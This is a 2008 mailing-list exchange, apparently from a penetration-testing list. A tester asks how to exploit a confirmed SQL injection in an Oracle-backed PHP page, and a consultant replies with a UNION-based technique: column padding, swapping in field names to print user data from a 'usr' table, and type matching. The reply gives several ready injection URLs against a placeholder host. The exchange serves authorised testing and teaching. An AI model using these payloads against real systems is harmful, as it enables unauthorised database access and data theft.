Re: Oracle URL SQL Injection issue

[Danux <danuxx () gmail com>]

Hi,  when you are using the UNION clause, you need to select the same
number of fields between your SQL and the one from the application
(id=90), this is accomplished by inserting the number 1 till your
reach the exact number.

For example, lets suppose that the application is constructing a SQL
with 3 fields:

select f1, f2, f3 where id=90,

then you need to put in your injection 3 fields:

 http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%201,1,1%20from%20usr;--

As your noticed i add 3 fields ("1"), and now there is a match between
the 2 clauses, then you can start printing the information by
replacing a "1" with the name of the field:

http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%201,1,user%20from%20usr;--

i replaced the las "1" with the filed user, and it will be printed on
the web page.

Obviously, by now, you dont know how many fields the query's
Application has, so, you need to start adding "1" chars till the
application print the information without errors.

Finally, you need to assure that the format of the field that you are
inserting (user) has the same format like in the application, lets
suppose that in the application the 3rd field is an integer one, then
because user is a varchar, nothing will be printed, then you would
need to start replacing another field, for example the 2nd one:

http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%201,user,1%20from%20usr;--
Try to insert a value in the id field that doesnt exists in the table:
for example id=-1

Theres other things you can do, but this should be work.

Hope this helps.



On Jan 17, 2008 6:21 PM, Clone <c70n3 () yahoo co in> wrote:
> Hey List
>
> I am pen testing a web app that supplies sql
> parameters on the URL something like
>
> http://x.y.z.a/item.php?Id=90
>
> I did blind sql injection by adding AND 1=1 to confirm
> the vulnerability.
>
> Now when I do
>
> http://x.y.z.a/item.php?Id=90&apos;
>
> I get
>
> ociparse() [function.ociparse]: OCIParse: ORA-01756:
> quoted string not properly terminated in item.php on
> line 312
>
> Then I tried (after confirming presence of usr table
> name)
>
> http://x.y.z.a/item.php?Id=90%20UNION%20SELECT%20*%20from%20usr;--
>
> and I get the error
>
> ociexecute() [function.ociexecute]: OCIStmtExecute:
> ORA-01789: query block has incorrect number of result
> columns in dbs.inc on line 44
>
> I know one valid user account in the oracle DB.
>
> Any idea what's the best strategy to move forward?
>
> I'm not getting any further from here so far.
>
> Any advise / helpo would be much appreciated.
>
> Cheers'
>
>
>
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-- 
Danux, CISSP, OSCP
Offensive Security Consultant
Macula Security Consulting Group
www.macula-group.com

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